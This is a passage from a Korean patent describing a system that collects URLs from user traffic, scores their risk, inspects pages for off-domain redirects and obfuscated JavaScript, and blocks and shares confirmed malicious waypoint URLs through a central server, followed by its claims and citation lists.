중앙서버 악성 경유지 관리 모듈(141)은 악성 경유지 차단부(130)의 악성 경유지 관리 모듈(132)에서 탐지한 악성 경유지 URL을 제공받아 중앙서버 악성 경유지 데이터베이스(142)에 갱신한다. 추가로, 중앙서버 악성 경유지 관리 모듈(141)은 새로운 악성 경유지 (즉, 사용자 PC가 접근하지 않은 새로운 외부 네트워크)에 대한 방어 능력을 향상시키기 위해서, 외부로부터 악성 경유지에 관한 정보를 받아 중앙서버 악성 경유지 데이터베이스(142)에 갱신 할 수 있다. 이렇게 악성 경유지가 삽입되거나 업데이트된 경우 중앙서버 악성 경유지 관리 모듈(141)은 다른 클라이언트에도 해당 악성 경유지의 URL 주소를 공유하여 전체 클라이언트들과 동기화 할 수 있다.
중앙서버 악성 경유지 데이터베이스(142)는 중앙서버 악성 경유지 관리 모듈(141)로부터 악성 경유지의 URL 주소를 제공받아 갱신할 수 있다.
이하, 상기와 같이 구성된 본 발명에 따른 악성 코드의 경유지를 탐지하는 방법을 아래에서 도면을 참조하여 설명한다.
도 2는 일 예에 따라 악성 코드의 경유지를 탐지하는 개략적인 과정을 도시한 도면이다.
도 2를 참조하면, 사용자 URL 관리부(110)는 사용자의 네트워크 트래픽으로부터 유알엘(URL; Uniform Resource Locator) 주소를 수집한다(210).
그리고, 사용자 URL 관리부(110)는 수집한 URL 주소의 위험도를 분석한다(212).
그리고, 악성 경유지 탐지부(120)는 수집한 URL 주소 중에서 위험도의 분석결과 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사한다(214).
214단계의 검사결과 수집한 URL 주소 중에 악성 경유지가 존재하면, 악성 경유지 차단부(130)는 악성 경유지 차단 룰을 생성하고, 악성 경유지 차단 룰에 따라 악성 경유지의 URL 주소를 차단한다(216).
그리고, 214단계의 검사결과 수집한 URL 주소 중에 악성 경유지가 존재하면, 악성 경유지 차단부(130)는 중앙서버(140)에 악성 경유지에 관한 정보를 전송하여 중앙서버(140)로 하여금 악성 경유지에 관한 정보를 공유할 수 있도록 한다(218).
214단계의 검사결과 수집한 URL 주소 중에 악성 경유지가 존재하지 않으면, 악성 경유지 탐지부(120)는 본 알고리즘을 종료한다.
도 2를 보다 구체적으로 설명하면 아래 도 3의 예과 같이 표현될 수 있다.
도 3은 일 예에 따라 악성 코드의 경유지를 탐지하는 과정을 도시한 도면이다.
도 3을 참조하면, URL 수집 모듈(111)은 사용자의 네트워크 트래픽으로부터 URL 주소를 수집하고, 수집한 URL 주소의 분석 정보를 추출한다(311).
그리고, URL 분석 모듈(112)은 수집한 URL 주소와 분석 정보로부터 위험도를 측정한다(312).
그리고, URL 분석 모듈(112)은 수집한 URL 주소와 위험도 정보를 URL 데이터베이스(113)에 저장하여 업데이트한다(314).
그리고, 악성 경유지 탐지부(120)는 URL 데이터베이스(113)에 저장된 URL의 악성 여부를 탐지하기 위해 HTML 검사모듈(121)과 JavaScript 검사 모듈(122)을 이용해 해당 웹 사이트 URL을 검사한다. 이때 HTML 검사모듈(121)은 웹 페이지의 소스코드 분석을 통해 비정상적인 리다이렉션 코드의 여부를 탐지하고(316), JavaScript 검사 모듈(122)은 난독화된 자바 스크립트를 추출하고 해독하여 악성 경유지 여부를 검사한다(318).
그리고, 악성 경유지 탐지부(120)는 HTML 검사모듈(121)과 JavaScript 검사 모듈(122)의 검사결과 수집한 URL 주소에 악성 경유지가 존재하는지 확인한다(320).
320단계의 확인결과 악성 경유지가 존재하면, 악성 경유지 탐지부(120)는 악성 경유지 데이터베이스(131)에 악성 경유지의 URL 주소를 업데이트한다(322). 그리고, 악성 경유지 관리 모듈(132)은 악성 경유지의 URL 주소를 이용해 차단 룰을 생성한다(324). 그리고, 악성 경유지 차단 모듈(133)은 생성한 악성 경유지 차단 룰을 적용하여 악성 경유지에 대한 사용자의 접근을 차단한다(326).
또한, 악성 경유지 관리 모듈(132)은 중앙서버(140)와 통신하여 새로운 악성 경유지에 관한 정보를 전송한다(328). 그리고, 중앙서버(140)는 중앙서버 악성 경유지 관리 모듈(141)을 이용해 중앙서버 악성 경유지 데이터베이스(142)에 악성 경유지를 업데이트 한다(330). 이때, 중앙서버(140)는 악성 경유지 URL을 다른 에이전트에 악성 경유지를 공유함으로써 동기화시킬 수 있다(332).
이상에서 설명된 장치는 하드웨어 구성요소, 소프트웨어 구성요소, 및/또는 하드웨어 구성요소 및 소프트웨어 구성요소의 조합으로 구현될 수 있다. 예를 들어, 실시예들에서 설명된 장치 및 구성요소는, 예를 들어, 프로세서, 컨트롤러, ALU(arithmetic logic unit), 디지털 신호 프로세서(digital signal processor), 마이크로컴퓨터, FPGA(field programmable gate array), PLU(programmable logic unit), 마이크로프로세서, 또는 명령(instruction)을 실행하고 응답할 수 있는 다른 어떠한 장치와 같이, 하나 이상의 범용 컴퓨터 또는 특수 목적 컴퓨터를 이용하여 구현될 수 있다. 처리 장치는 운영 체제(OS) 및 상기 운영 체제 상에서 수행되는 하나 이상의 소프트웨어 애플리케이션을 수행할 수 있다. 또한, 처리 장치는 소프트웨어의 실행에 응답하여, 데이터를 접근, 저장, 조작, 처리 및 생성할 수도 있다. 이해의 편의를 위하여, 처리 장치는 하나가 사용되는 것으로 설명된 경우도 있지만, 해당 기술분야에서 통상의 지식을 가진 자는, 처리 장치가 복수 개의 처리 요소(processing element) 및/또는 복수 유형의 처리 요소를 포함할 수 있음을 알 수 있다. 예를 들어, 처리 장치는 복수 개의 프로세서 또는 하나의 프로세서 및 하나의 컨트롤러를 포함할 수 있다. 또한, 병렬 프로세서(parallel processor)와 같은, 다른 처리 구성(processing configuration)도 가능하다.
소프트웨어는 컴퓨터 프로그램(computer program), 코드(code), 명령(instruction), 또는 이들 중 하나 이상의 조합을 포함할 수 있으며, 원하는 대로 동작하도록 처리 장치를 구성하거나 독립적으로 또는 결합적으로(collectively) 처리 장치를 명령할 수 있다. 소프트웨어 및/또는 데이터는, 처리 장치에 의하여 해석되거나 처리 장치에 명령 또는 데이터를 제공하기 위하여, 어떤 유형의 기계, 구성요소(component), 물리적 장치, 가상 장치(virtual equipment), 컴퓨터 저장 매체 또는 장치, 또는 전송되는 신호 파(signal wave)에 영구적으로, 또는 일시적으로 구체화(embody)될 수 있다. 소프트웨어는 네트워크로 연결된 컴퓨터 시스템 상에 분산되어서, 분산된 방법으로 저장되거나 실행될 수도 있다. 소프트웨어 및 데이터는 하나 이상의 컴퓨터 판독 가능 기록 매체에 저장될 수 있다.
실시예에 따른 방법은 다양한 컴퓨터 수단을 통하여 수행될 수 있는 프로그램 명령 형태로 구현되어 컴퓨터 판독 가능 매체에 기록될 수 있다. 상기 컴퓨터 판독 가능 매체는 프로그램 명령, 데이터 파일, 데이터 구조 등을 단독으로 또는 조합하여 포함할 수 있다. 상기 매체에 기록되는 프로그램 명령은 실시예를 위하여 특별히 설계되고 구성된 것들이거나 컴퓨터 소프트웨어 당업자에게 공지되어 사용 가능한 것일 수도 있다. 컴퓨터 판독 가능 기록 매체의 예에는 하드 디스크, 플로피 디스크 및 자기 테이프와 같은 자기 매체(magnetic media), CD-ROM, DVD와 같은 광기록 매체(optical media), 플롭티컬 디스크(floptical disk)와 같은 자기-광 매체(magneto-optical media), 및 롬(ROM), 램(RAM), 플래시 메모리 등과 같은 프로그램 명령을 저장하고 수행하도록 특별히 구성된 하드웨어 장치가 포함된다. 프로그램 명령의 예에는 컴파일러에 의해 만들어지는 것과 같은 기계어 코드뿐만 아니라 인터프리터 등을 사용해서 컴퓨터에 의해서 실행될 수 있는 고급 언어 코드를 포함한다. 상기된 하드웨어 장치는 실시예의 동작을 수행하기 위해 하나 이상의 소프트웨어 모듈로서 작동하도록 구성될 수 있으며, 그 역도 마찬가지이다.
이상과 같이 실시예들이 비록 한정된 실시예와 도면에 의해 설명되었으나, 해당 기술분야에서 통상의 지식을 가진 자라면 상기의 기재로부터 다양한 수정 및 변형이 가능하다. 예를 들어, 설명된 기술들이 설명된 방법과 다른 순서로 수행되거나, 및/또는 설명된 시스템, 구조, 장치, 회로 등의 구성요소들이 설명된 방법과 다른 형태로 결합 또는 조합되거나, 다른 구성요소 또는 균등물에 의하여 대치되거나 치환되더라도 적절한 결과가 달성될 수 있다.
그러므로, 다른 구현들, 다른 실시예들 및 특허청구범위와 균등한 것들도 후술하는 특허청구범위의 범위에 속한다.
100; 사용자 URL 관리부
111; URL 수집 모듈
112; URL 분석 모듈
113; URL 데이터베이스
120; 악성 경유지 탐지부
121; HTML 검사 모듈
122; JavaScript 검사 모듈
130; 악성 경유지 차단부
131; 악성 경유지 데이터베이스
132; 악성 경유지 관리 모듈
133; 악성 경유지 차단 모듈
140; 중앙 서버
141; 중앙 서버 악성 경유지 관리 모듈
142; 중앙 서버 악성 경유지 데이터베이스

Claims (15)

  1. 사용자의 네트워크 트래픽으로부터 유알엘(URL; Uniform Resource Locator) 주소를 수집하는 단계;
    상기 수집한 URL 주소의 위험도를 분석하는 단계; 및
    상기 수집한 URL 주소 중에서 상기 위험도의 분석결과 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 단계
    를 포함하고,
    상기 수집한 URL 주소의 위험도를 분석하는 단계는,
    상기 사용자가 상기 수집한 URL 주소에 접속한 빈도,
    상기 수집한 URL이 악성 경유지로 탐지된 횟수,
    상기 수집한 URL이 악성 경유지로 탐지된 최근 시간,
    상기 수집한 URL의 사이트 랭크, 및
    상기 수집한 URL의 외향 연결 지향도
    의 모두에 대하여 각각 기설정한 수의 등급으로 구분하고, 등급에 따른 가중치를 부여하고, 가중치한 합으로 상기 수집한 URL 주소의 위험도 지수를 계산하는 단계
    를 포함하는 악성 경유지를 탐지하는 방법.
  2. 제1항에 있어서,
    상기 악성 경유지를 확인하면, 상기 악성 경유지의 URL 주소를 데이터베이스에 저장하고, 악성 경유지 차단 룰을 생성하는 단계; 및
    상기 악성 경유지 차단 룰에 따라 상기 악성 경유지의 URL 주소를 차단하는 단계를 더 포함하는
    악성 경유지를 탐지하는 방법.
  3. 제1항에 있어서,
    상기 악성 경유지를 확인하면, 중앙 서버에 상기 악성 경유지에 관한 정보를 전송하는 단계;
    상기 중앙 서버의 중앙 서버 악성 경유지 데이터베이스에 상기 악성 경유지에 관한 정보를 추가하여 갱신하는 단계; 및
    상기 중앙 서버 악성 경유지 데이터베이스에 저장된 악성 경유지에 관한 정보를 다른 클라이언트와 공유하는 단계를 더 포함하는
    악성 경유지를 탐지하는 방법.
  4. 제1항에 있어서,
    상기 수집한 URL 주소의 위험도를 분석하는 단계는,
    상기 수집한 URL 주소의 위험도는 위험, 경고, 주의, 정상의 4가지 단계로 구분하여 분석하는 단계
    를 포함하는 악성 경유지를 탐지하는 방법.
  5. 제4항에 있어서,
    상기 수집한 URL 주소의 위험도는 위험, 경고, 주의, 정상의 4가지 단계로 구분하여 분석하는 단계는,
    상기 수집한 URL 주소가 최근 기설정한 시간 내에 악성 경유지로 탐지된 이력이 있는 URL 주소인 경우, 상기 수집한 URL 주소의 위험도를 상기 위험으로 분류하는 단계;
    상기 경고로 분류되는 경우는 상기 수집한 URL 주소가 최근 기설정한 시간 내는 아니지만 이전에 악성 경유지로 탐지된 이력이 있는 URL 주소인 경우이고,
    상기 주의로 분류되는 경우는 상기 수집한 URL 주소가 상기 위험도 지수를 계산하여 상기 위험도 지수가 기설정된 기준값을 초과하는 URL 주소인 경우이고,
    상기 정상으로 분류되는 경우는 상기 수집한 URL 주소의 상기 위험도 지수를 계산하여 상기 위험도 지수가 상기 기설정된 기준값 이하인 URL 주소를 상기 정상으로 구분하는
    악성 경유지를 탐지하는 방법.
  6. 제1항에 있어서,
    상기 수집한 URL 주소의 위험도 지수를 계산하는 단계는,
    상기 사용자가 상기 수집한 URL 주소에 접속한 빈도를 N1 단계의 등급으로 나누고, 상기 접속한 빈도가 높을수록 높은 가중치가 할당되도록 하는 단계;
    상기 수집한 URL이 악성 경유지로 탐지된 횟수를 N2 단계의 등급으로 나누고, 상기 악성 경유지로 탐지된 횟수가 많을수록 높은 가중치가 할당되도록 하는 단계; 및
    상기 수집한 URL이 악성 경유지로 탐지된 최근 시간을 기설정된 N3 단계의 등급으로 나누고, 상기 탐지된 최근 시간이 최근일수록 높은 가중치가 할당되도록 하는 단계;
    상기 수집한 URL의 사이트 랭크를 기설정된 N4 단계의 등급으로 나누고, 상기 사이트 랭크가 높을수록 높은 가중치가 할당되도록 하는 단계; 및
    상기 수집한 URL의 외향 연결 지향도를 기설정된 N5 단계의 등급으로 나누고, 상기 외향 연결 지향도가 높을수록 높은 가중치가 할당되도록 하는 단계
    를 포함하는 악성 경유지를 탐지하는 방법.
  7. 제4항에 있어서,
    상기 수집한 URL 주소 중에서 상기 위험도의 분석결과 검사가 필요하다고 판단된 URL 주소는,
    상기 수집한 URL 주소의 위험도가 상기 위험, 상기 경고, 상기 주의로 분류된 URL 주소인,
    악성 경유지를 탐지하는 방법.
  8. 제1항에 있어서,
    상기 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 단계는,
    상기 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드를 분석하여 replace 함수에 삽입된 URL 주소가 현재 도메인의 하위 주소가 아닌 타 도메인의 주소로 설정되어 있는 경우, 상기 검사가 필요하다고 판단된 URL 주소를 악성 경유지로 판단하는 단계; 및
    상기 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드를 분석하여 META 함수에 삽입된 URL 주소가 현재 도메인의 하위 주소가 아닌 타 도메인의 주소로 설정되어 있는 경우, 상기 검사가 필요하다고 판단된 URL 주소를 악성 경유지로 판단하는 단계
    를 포함하는 악성 경유지를 탐지하는 방법.
  9. 제1항에 있어서,
    상기 수집한 URL 주소의 위험도를 분석하는 단계는,
    상기 수집한 URL 주소의 위험도를 분석한 결과에 따라서 상기 위험도를 고려하여 악성 경유지 여부를 검사하는 검사 범위를 결정하는 단계
    를 포함하고,
    상기 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 단계는,
    상기 검사 범위에 포함된 URL 주소들을 검사하는 단계
    를 포함하는
    악성 경유지를 탐지하는 방법
  10. 제1항 내지 제9항 중 어느 한 항의 방법을 실행하기 위한 프로그램이 기록되어 있는 컴퓨터에서 판독 가능한 기록 매체.
  11. 사용자의 네트워크 트래픽으로부터 유알엘(URL; Uniform Resource Locator) 주소를 수집하고, 상기 수집한 URL 주소의 위험도를 분석하는 사용자 URL 관리부; 및
    상기 수집한 URL 주소 중에서 상기 위험도의 분석결과 검사가 필요하다고 판단된 URL 주소가 악성 경유지인지 여부를 검사하는 악성 경유지 탐지부
    를 포함하고,
    상기 사용자 URL 관리부는,
    상기 사용자가 상기 수집한 URL 주소에 접속한 빈도,
    상기 수집한 URL이 악성 경유지로 탐지된 횟수,
    상기 수집한 URL이 악성 경유지로 탐지된 최근 시간,
    상기 수집한 URL의 사이트 랭크, 및
    상기 수집한 URL의 외향 연결 지향도
    의 모두에 대하여 각각 기설정한 수의 등급으로 구분하고, 등급에 따른 가중치를 부여하고, 가중치한 합으로 상기 수집한 URL 주소의 위험도 지수를 계산하는
    악성 경유지를 탐지하는 시스템.
  12. 제11항에 있어서,
    상기 시스템은, 악성 경유지 차단부를 더 포함하고,
    상기 악성 경유지 차단부는,
    상기 악성 경유지 탐지부에서 확인한 상기 악성 경유지의 URL 주소를 수신하여 저장하는 악성 경유지 데이터베이스;
    상기 악성 경유지의 URL 주소에 대한 악성 경유지 차단 룰을 생성하는 악성 경유지 관리 모듈; 및
    상기 악성 경유지 차단 룰에 따라 상기 악성 경유지의 URL 주소를 차단하는 악성 경유지 차단 모듈을 포함하는
    악성 경유지를 탐지하는 시스템.
  13. 제12항에 있어서,
    상기 시스템은, 중앙 서버를 더 포함하고,
    상기 중앙 서버는,
    악성 경유지에 관한 정보를 저장하는 중앙 서버 악성 경유지 데이터 베이스; 및
    상기 악성 경유지 관리 모듈로부터 상기 악성 경유지 탐지부에서 확인한 상기 악성 경유지의 URL 주소를 수신하여 상기 중앙 서버 악성 경유지 데이터 베이스를 갱신하고, 상기 중앙 서버 악성 경유지 데이터베이스에 저장된 상기 악성 경유지에 관한 정보를 다른 클라이언트와 공유하는 중앙 서버 악성 경유지 관리 모듈을 포함하는
    악성 경유지를 탐지하는 시스템.
  14. 제11항에 있어서,
    상기 악성 경유지 탐지부는,
    상기 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드를 분석하여 replace 함수에 삽입된 URL 주소가 현재 도메인의 하위 주소가 아닌 타 도메인의 주소로 설정되어 있는 경우, 상기 검사가 필요하다고 판단된 URL 주소를 악성 경유지로 판단하고,
    상기 검사가 필요하다고 판단된 URL 주소에 대응하는 웹 페이지의 소스 코드를 분석하여 META 함수에 삽입된 URL 주소가 현재 도메인의 하위 주소가 아닌 타 도메인의 주소로 설정되어 있는 경우, 상기 검사가 필요하다고 판단된 URL 주소를 악성 경유지로 판단하는
    악성 경유지를 탐지하는 시스템.
  15. 제11항에 있어서,
    상기 사용자 URL 관리부는,
    상기 수집한 URL 주소의 위험도를 분석하는 URL 분석 모듈을 포함하고,
    상기 URL 분석 모듈은,
    상기 수집한 URL 주소의 위험도를 분석한 결과에 따라서 상기 위험도를 고려하여 악성 경유지 여부를 검사하는 검사 범위를 결정하고,
    상기 악성 경유지 탐지부는,
    상기 검사 범위에 포함된 URL 주소들을 검사하는
    악성 경유지를 탐지하는 시스템.
KR1020150146062A 2015-10-20 2015-10-20 악성 경유지를 탐지하는 시스템 및 방법 KR101625338B1 (ko)

Priority Applications (1)

Application Number Priority Date Filing Date Title
KR1020150146062A KR101625338B1 (ko) 2015-10-20 2015-10-20 악성 경유지를 탐지하는 시스템 및 방법

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
KR1020150146062A KR101625338B1 (ko) 2015-10-20 2015-10-20 악성 경유지를 탐지하는 시스템 및 방법

Publications (1)

Publication Number Publication Date
KR101625338B1 true KR101625338B1 (ko) 2016-05-27

Family

ID=56106246

Family Applications (1)

Application Number Title Priority Date Filing Date
KR1020150146062A KR101625338B1 (ko) 2015-10-20 2015-10-20 악성 경유지를 탐지하는 시스템 및 방법

Country Status (1)

Country Link
KR (1) KR101625338B1 (ko)

Cited By (8)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
KR101781450B1 (ko) * 2017-01-03 2017-09-25 한국인터넷진흥원 사이버 공격에 대한 위험도 산출 방법 및 장치
KR20180064921A (ko) * 2016-12-06 2018-06-15 홍익대학교세종캠퍼스산학협력단 추상 구문 트리의 구조와 토큰 이용한 난독화된 악성 경유지 탐지 장치 및 방법
KR20190084117A (ko) * 2017-06-23 2019-07-15 미쓰비시덴키 가부시키가이샤 래더 프로그램 부정 이용 방지 시스템, 래더 프로그램 부정 이용 방지 방법, 및 엔지니어링 툴
KR102044870B1 (ko) * 2019-07-29 2019-11-14 주식회사 에프원시큐리티 Url 맵을 이용하여 도메인을 관리하는 장치 및 방법
WO2019231057A1 (ko) * 2018-06-01 2019-12-05 주식회사 에프원시큐리티 웹 공격 탐지 및 차단 시스템 및 그 방법
US20210014244A1 (en) * 2016-08-12 2021-01-14 Level 3 Communications, Llc Malware detection and prevention system
CN113965385A (zh) * 2021-10-25 2022-01-21 恒安嘉新(北京)科技股份公司 一种异常网站的监控处理方法、装置、设备和介质
KR20220093261A (ko) * 2019-05-09 2022-07-05 구글 엘엘씨 콘텍스트-적응형 스캐닝

Cited By (14)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US11552988B2 (en) * 2016-08-12 2023-01-10 Level 3 Communications, Llc Creating malware prevention rules using malware detection and prevention system
US20210014244A1 (en) * 2016-08-12 2021-01-14 Level 3 Communications, Llc Malware detection and prevention system
KR20180064921A (ko) * 2016-12-06 2018-06-15 홍익대학교세종캠퍼스산학협력단 추상 구문 트리의 구조와 토큰 이용한 난독화된 악성 경유지 탐지 장치 및 방법
KR101947879B1 (ko) * 2016-12-06 2019-05-10 홍익대학교세종캠퍼스산학협력단 추상 구문 트리의 구조와 토큰 이용한 난독화된 악성 경유지 탐지 장치 및 방법
KR101781450B1 (ko) * 2017-01-03 2017-09-25 한국인터넷진흥원 사이버 공격에 대한 위험도 산출 방법 및 장치
KR102052489B1 (ko) 2017-06-23 2019-12-05 미쓰비시덴키 가부시키가이샤 래더 프로그램 부정 이용 방지 시스템, 래더 프로그램 부정 이용 방지 방법, 및 엔지니어링 툴
KR20190084117A (ko) * 2017-06-23 2019-07-15 미쓰비시덴키 가부시키가이샤 래더 프로그램 부정 이용 방지 시스템, 래더 프로그램 부정 이용 방지 방법, 및 엔지니어링 툴
WO2019231057A1 (ko) * 2018-06-01 2019-12-05 주식회사 에프원시큐리티 웹 공격 탐지 및 차단 시스템 및 그 방법
US11171919B1 (en) 2018-06-01 2021-11-09 F1 Security Inc. Web attack detecting and blocking system and method thereof
KR20220093261A (ko) * 2019-05-09 2022-07-05 구글 엘엘씨 콘텍스트-적응형 스캐닝
KR102520637B1 (ko) * 2019-05-09 2023-04-11 구글 엘엘씨 콘텍스트-적응형 스캐닝
KR102044870B1 (ko) * 2019-07-29 2019-11-14 주식회사 에프원시큐리티 Url 맵을 이용하여 도메인을 관리하는 장치 및 방법
CN113965385A (zh) * 2021-10-25 2022-01-21 恒安嘉新(北京)科技股份公司 一种异常网站的监控处理方法、装置、设备和介质
CN113965385B (zh) * 2021-10-25 2024-06-11 恒安嘉新(北京)科技股份公司 一种异常网站的监控处理方法、装置、设备和介质

Similar Documents

Publication Publication Date Title
KR101625338B1 (ko) 악성 경유지를 탐지하는 시스템 및 방법
Ahmed et al. Real time detection of phishing websites
KR101547999B1 (ko) 악성링크 자동 탐지 장치 및 방법
RU2607229C2 (ru) Системы и способы динамического агрегирования показателей для обнаружения сетевого мошенничества
US9215242B2 (en) Methods and systems for preventing unauthorized acquisition of user information
Srinivasa Rao et al. Detecting phishing websites using automation of human behavior
KR101070184B1 (ko) 멀티스레드 사이트 크롤러를 이용한 악성코드 자동수집, 자동분석시스템과 보안장비 연동을 통한 악성코드접근차단시스템 및 방법
CN103685294B (zh) 拒绝服务攻击的攻击源的识别方法和装置
US20180191765A1 (en) Method and apparatus for calculating risk of cyber attack
CN111786966A (zh) 浏览网页的方法和装置
Sanchez-Rola et al. Journey to the center of the cookie ecosystem: Unraveling actors' roles and relationships
WO2017056121A1 (en) Method for the identification and prevention of client-side web attacks
US9571518B2 (en) Identifying malicious web infrastructures
Singh et al. Malcrawler: A crawler for seeking and crawling malicious websites
Shyni et al. Phishing detection in websites using parse tree validation
US11023590B2 (en) Security testing tool using crowd-sourced data
Kim Potential risk analysis method for malware distribution networks
Roopak et al. On effectiveness of source code and SSL based features for phishing website detection
KR102347525B1 (ko) 악성 트래픽 탐지 방법 및 그 장치
KR101767591B1 (ko) 침입탐지 오탐 개선을 위한 시스템 및 방법
KR20130105769A (ko) 악성 도메인 탐지 시스템, 방법 및 컴퓨터 판독 가능한 기록 매체
Liu et al. Learning based malicious web sites detection using suspicious URLs
Nadar et al. A defensive approach for CSRF and broken authentication and session management attack
Cvitić et al. Defining cross-site scripting attack resilience guidelines based on BeEF framework simulation
Kergl et al. Detection of zero day exploits using real-time social media streams

Legal Events

Date Code Title Description
E701 Decision to grant or registration of patent right
GRNT Written decision to grant
FPAY Annual fee payment

Payment date: 20190415

Year of fee payment: 4